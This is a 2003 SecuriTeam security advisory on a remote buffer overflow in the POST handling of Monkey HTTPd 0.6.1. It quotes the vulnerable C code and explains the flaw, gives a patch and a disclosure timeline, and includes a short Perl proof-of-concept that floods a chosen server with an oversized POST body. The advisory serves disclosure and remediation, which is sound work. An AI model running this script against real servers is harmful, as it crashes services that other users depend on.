[UNIX] Monkey HTTP Daemon Remote Buffer Overflow
From: support@securiteam.com
Date: 04/21/03
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From: support@securiteam.com To: list@securiteam.com Date: 21 Apr 2003 13:43:36 +0200
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Monkey HTTP Daemon Remote Buffer Overflow
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SUMMARY
<http://monkeyd.sourceforge.net/> Monkey is a "Web server written in C
that works under Linux. This is an open source project based on the
HTTP/1.1 protocol. The objective is to develop a fast, efficient, small,
and easy to configure web server". A buffer overflow vulnerability in the
product allows remote attackers to cause it to execute arbitrary code.
DETAILS
Vulnerable systems:
* Monkey HTTPd version 0.6.1
Immune systems:
* Monkey HTTPd version 0.6.2
A buffer overflow vulnerability exists in Monkey's handling of forms
submitted with the POST request method. The unchecked buffer lies in the
PostMethod() procedure. The buffer allocated on line 3 of PostMethod():
char buffer[MAX_REQUEST_BODY];
Is of size MAX_REQUEST_BODY, which is defined as follows in monkey.h:
#define MAX_REQUEST_BODY 10240 /* Maximo buffer del request */
The security check on line 10 of the procedure:
if(content_length_post<=0){
Is flawed. This results in a buffer overflow inside the loop below:
memset(buffer,'\0',sizeof(buffer));
for(i=4;i<strlen(post_buffer);i++){
buffer[i-4]=post_buffer[i]; // Buffer overflow
}
Analysis:
Because the buffer that is overrun is a local buffer, it will reside in
the stack on all architectures. If the system stores the return address on
the stack, the potential for flow control exists. In such a case,
successful exploitation yields the privileges of the monkey binary. An
unsuccessful exploit attempt would cause the server to fail, denying
service to other users.
Exploit:
#!/usr/bin/perl
# monkey-nuke.pl
# Monkey HTTPd Remote Buffer Overflow
# Discovery/Exploit by Matthew Murphy
use IO::Socket;
print STDOUT "What host to connect to \[\]\: ";
$host = trim(chomp($line = <STDIN>));
print STDOUT "What port to connect to \[80\]\: ";
$port = trim(chomp($line = <STDIN>));
$addr = "$host\:$port";
print STDOUT "What script to submit to \[\/cgi-bin\/test\.pl\]\: ";
$script = trim(chomp($line = <STDIN>));
$buffer = "A"x11000;
$exploit = "POST /$script HTTP/1.0\r\n";
$exploit.= "Content-Type: application/x-www-form-urlencoded\r\n";
$exploit.= "Content-Length: 11000\r\n\r\n";
$exploit.= "$buffer\r\n\r\n";
$f = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$addr);
print $f $exploit;
sleep 5;
undef $f;
Solution:
In monkey.c, replace the line:
if(content_length_post<=0){
With:
if(content_length_post<=0 || content_length_post >= MAX_REQUEST_BODY){
Stop the server, re-build your binary, and restart the server.
Vendor response:
The vendor was contacted on March 15, a fix was made public 9 days later
on March 24. The fixed version, Monkey 0.6.2 is available at:
<http://monkeyd.sourceforge.net/get_monkey.php?ver=4>
http://monkeyd.sourceforge.net/get_monkey.php?ver=4
Disclosure timeline:
March 15, 2003: Initial developer notification
March 18, 2003: Response from Eduardo Silva (edsiper@yahoo.es) indicates
that vulnerability will be fixed by March 24
March 23, 2003: Final contacts with developer
March 24, 2003: Monkey HTTPd 0.6.2 released
April 20, 2003: Public disclosure
ADDITIONAL INFORMATION
The information has been provided by <mailto:mattmurphy@kc.rr.com>
Matthew Murphy.
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